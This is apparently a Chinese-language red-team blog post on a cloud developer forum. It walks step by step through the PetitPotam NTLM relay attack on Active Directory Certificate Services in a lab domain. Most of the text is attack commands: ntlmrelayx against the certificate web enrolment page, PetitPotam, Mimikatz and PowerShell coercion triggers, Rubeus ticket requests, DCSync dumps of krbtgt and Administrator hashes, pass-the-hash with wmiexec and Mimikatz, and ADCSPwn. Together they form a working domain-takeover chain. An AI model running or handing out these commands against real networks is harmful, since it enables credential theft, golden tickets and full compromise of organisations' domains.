前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PetitPotam – NTLM 中继到 AD CS

PetitPotam – NTLM 中继到 AD CS

原创
作者头像
Khan安全团队
发布2022-01-06 17:00:31
1.3K0
发布2022-01-06 17:00:31
举报
文章被收录于专栏:Khan安全团队Khan安全团队

在企业环境中部署 Active Directory 证书服务 (AD CS) 可以允许系统管理员利用它在不同目录对象之间建立信任。但是,它可能允许红队操作员对 AD CS 的 Web 界面进行 NTLM 中继攻击,以破坏网络。Web 界面用于允许用户获取证书(Web 注册),通过 HTTP 协议,不支持签名并接受 NTLM 身份验证。

Will Schroeder和Lee Christensen在认证二手白皮书中介绍了攻击的详细信息。该攻击强制域控制器计算机帐户 (DC$) 向配置了 NTLM 中继的主机进行身份验证。身份验证转发给证书颁发机构 (CA) 并提出证书请求。一旦为 DC$ 帐户生成证书,攻击者就可以使用它在域控制器上执行任意操作,例如检索 Kerberos 帐户的哈希值以创建金票并建立域持久性或转储域管理员的哈希值并建立与域控制器的通信通道。

Active Directory 证书服务可以作为角色安装在域控制器上或作为域一部分的单个服务器中。下图说明了攻击的步骤:

图表
图表

攻击需要认证机构的身份。“ certutil ”二进制文件是一个命令行工具,可用于转储和显示证书颁发机构信息、验证证书等。因此,它可以用作发现域上是否部署了证书颁发机构的快速方法。

代码语言:javascript
复制
certutil.exe
证书颁发机构 - 发现
证书颁发机构 - 发现

服务器名称已标识为“ ca.purple.lab ”,并且可以通过以下 URL 上的 HTTP 访问 Web 注册服务:

代码语言:javascript
复制
http://ca.purple.lab/certsrv/

证书颁发机构 - Web 注册界面

在未加入域的系统中,执行Impacket 套件中的“ ntlmrelayx.py ”将配置各种侦听器(SMB、HTTP、WCF),这些侦听器将从域控制器计算机帐户捕获身份验证并将该身份验证信息中继到活动目录证书颁发机构服务器。

代码语言:javascript
复制
python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
NTLM中继X
NTLM中继X

强制验证可以由Lionel Gilles开发的名为PetitPotam的概念证明触发。这是通过利用MS-EFSRPC协议进行 API 调用 (EfsRpcOpenFileRaw) 来实现的,该调用将触发目标上的计算机帐户向另一个系统进行身份验证。它可以通过提供标准用户凭据并使用配置 NTLM 中继的系统 IP 和 CA 的 IP 地址来执行。

代码语言:javascript
复制
python3 PetitPotam.py -d purple.lab -u pentestlab -p Password1234 <Listener-IP> <DC-IP>
PetitPotam – Python
PetitPotam – Python

即使未提供凭据,也可能执行此攻击。如果在域控制器而不是不同的服务器上部署证书颁发机构而没有采取预防措施,那么即使没有凭据访问网络也可能导致域受损。

代码语言:javascript
复制
python3 PetitPotam.py 10.0.0.2 10.0.0.1
PetitPotam – 无需身份验证
PetitPotam – 无需身份验证

如果显示以下输出,则表示攻击成功并且已触发身份验证。

PetitPotam – Python 攻击
PetitPotam – Python 攻击

或者,如果已建立对加入域的系统的初始访问权限,则可以改用二进制文件。

代码语言:javascript
复制
PetitPotam.exe 10.0.0.2 10.0.0.1
PetitPotam – 二进制
PetitPotam – 二进制

与大多数攻击一样,Benjamin Delpy也在较新版本的Mimikatz 中实现了身份验证触发器。使用加密文件系统 (EFS) 模块,并指定域控制器和充当 NTLM 中继的主机将发送远程过程调用。

代码语言:javascript
复制
misc::efs /server:dc.purple.lab /connect:10.0.0.2
Mimikatz – 强制身份验证
Mimikatz – 强制身份验证

还有一个PetitPotam攻击的 PowerShell 实现,它是由S3cur3Th1sSh1t在 Mimikatz 模块之后开发的。

代码语言:javascript
复制
Import-Module .\Invoke-Petitpotam.ps1
Invoke-Petitpotam -Target 10.0.0.1 -CaptureHost 10.0.0.2
PetitPotam – PowerShell
PetitPotam – PowerShell

以上所有触发器都将强制 DC$ 帐户(域控制器上的机器帐户)向证书颁发机构进行身份验证。

作为 DC$ 帐户的身份验证
作为 DC$ 帐户的身份验证

由于攻击需要安装 Web 服务组件或 Web 注册,因此将提出对 DC$ 帐户下的证书的请求。将以 Base64 格式为帐户生成证书。

DC$ 账户 – Base64 账户
DC$ 账户 – Base64 账户

获得的证书可以与Rubeus一起使用,以便为作为域控制器上的高特权帐户的机器帐户请求 Kerberos 票证(Ticket Granting Ticket)。

代码语言:javascript
复制
Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
PetitPotam – 请求 TGT Rubeus
PetitPotam – 请求 TGT Rubeus

票证将导入到用户的当前会话中。由于此票属于 DC$ 帐户,因此可用于进行一系列活动以破坏域,例如检索“ krbtgt ”帐户的 NTLM 哈希值并创建黄金票,通过以下方式与域控制器建立连接WMI,执行传递散列等。

Kerberos 票证
Kerberos 票证

运行以下命令将验证票证是否已缓存到当前登录会话中。

代码语言:javascript
复制
klist
Kerberos 缓存票证 – DC 帐户
Kerberos 缓存票证 – DC 帐户

由于票据被缓存,DCSync技术可用于检索“ krbtgt ”帐户的哈希值,以创建黄金票据并建立域持久性。

代码语言:javascript
复制
mimikatz # lsadump::dcsync /user:krbtgt
转储 Kerberos NTLM 哈希
转储 Kerberos NTLM 哈希

类似地,可以检索用户“管理员”的密码哈希。该用户是“域管理员”组的成员。

代码语言:javascript
复制
lsadump::dcsync /domain:purple.lab /user:Administrator
转储管理员 NTLM 哈希
转储管理员 NTLM 哈希

哈希值可以与来自 Impacket 的“ wmiexec ”一起使用,以便以域管理员身份与域控制器建立会话。

代码语言:javascript
复制
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
WmiExec——域控制器上的外壳
WmiExec——域控制器上的外壳

或者,可以使用 Mimikatz 或任何其他类似工具来执行散列传递技术。在 Mimikatz 中执行以下命令将创建另一个会话作为用户“管理员”。

代码语言:javascript
复制
sekurlsa::pth /user:Administrator /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
PetitPotam – Mimikatz 传递哈希
PetitPotam – Mimikatz 传递哈希

可以从新会话映射驱动器 C$ 以访问域控制器文件系统。

代码语言:javascript
复制
net use z: \\dc\c$
dir z:
映射域控制器驱动器
映射域控制器驱动器

映射域控制器驱器

ADCSPwn

实现攻击的替代工具 ( ADCSPwn ) 是由batsec用 C# 开发的,可以通过“ execute-assembly ”在 Cobalt Strike 中使用,或与任何其他类似的红队框架(如 Covenant)一起使用。明显的好处是可以直接从内存中执行攻击,而无需将任何内容删除到磁盘或使用另一个系统作为中继以将身份验证传递给 CA。ADCSPwn 在本地设置中继服务器并通过调用 API (EfsRpcOpenFileRaw) 强制进行身份验证。

代码语言:javascript
复制
adcspwn.exe --adcs ca.purple.lab --remote dc.purple.lab

ADCSPwn

证书将以 Base64 格式生成到控制台中。

ADCSPwn – 证书
ADCSPwn – 证书

但是,需要注意的是,该攻击仅在“ WebClient ”服务在域控制器上运行时才有效。默认情况下未安装此服务,因此直接执行该工具不太可能产生预期结果。

网页客户端服务
网页客户端服务

“WebClient”服务是在服务器上安装“ WebDav Redirector ”功能时创建的。

WebDav 重定向器
WebDav 重定向器

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ADCSPwn
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档